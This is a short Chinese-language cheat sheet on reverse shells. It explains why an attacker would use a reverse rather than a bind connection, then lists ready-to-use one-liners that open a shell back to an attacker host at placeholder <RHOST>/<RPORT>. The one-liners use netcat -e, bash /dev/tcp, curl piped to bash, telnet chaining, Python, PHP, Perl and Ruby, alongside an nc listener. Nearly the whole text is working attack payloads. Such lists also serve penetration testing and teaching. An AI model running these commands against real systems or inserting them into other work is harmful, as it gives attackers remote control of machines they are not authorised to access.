反弹shell,就是攻击机监听某个端口,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。
正向连接
攻击者主动发起请求连接目标机器
反向连接
当出现以下情况时:
- 目标机因防火墙受限,只能发送请求,不能接收请求
- 目标机端口被占用
- 目标机位于局域网或者IP会动态变化
我们则需要用到反向连接
反弹shell方法
攻击机开启本地监听
- 利用nc
nc -l -p <RPORT>
目标机连接攻击机
- 利用netcat
netcat <RHOST> <RPORT> -e /bin/bash
- 利用bash
bash -i >& /dev/tcp/<RHOST>/<RPORT> 0>&1
- curl + bash
# 首先在攻击机vps的web目录创建一个index文件,内容如下 bash -i >& /dev/tcp/<RHOST>/<RPORT> 0>&1 # 在攻击机开启<RPORT>端口的监听 nc -l -p <RPORT> # 在目标机执行下列命令 curl <RHOST>|bash
- 利用telnet
# 攻击机需要开启两个端口监听 nc -l -p <RPORT_1> nc -l -p <RPORT_2> # 目标机主动连接攻击机 telnet <RHOST> <RPORT_1> | /bin/bash | telnet <RHOST> <RPORT_2> # 获得shell后,在攻击机2333端口的终端上输入的命令会在目标机上执行, # 执行的回显将通过4000端口的终端显示出来。
- 利用python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<RHOST>",<RPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- 利用php
php -r '$sock=fsockopen("<RHOST>",<RPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'
- 利用Perl
perl -e 'use Socket;$i="<RHOST>";$p=<RPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- 利用ruby
ruby -rsocket -e 'c=TCPSocket.new("<RHOST>","<RPORT>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
reference: https://xz.aliyun.com/t/9488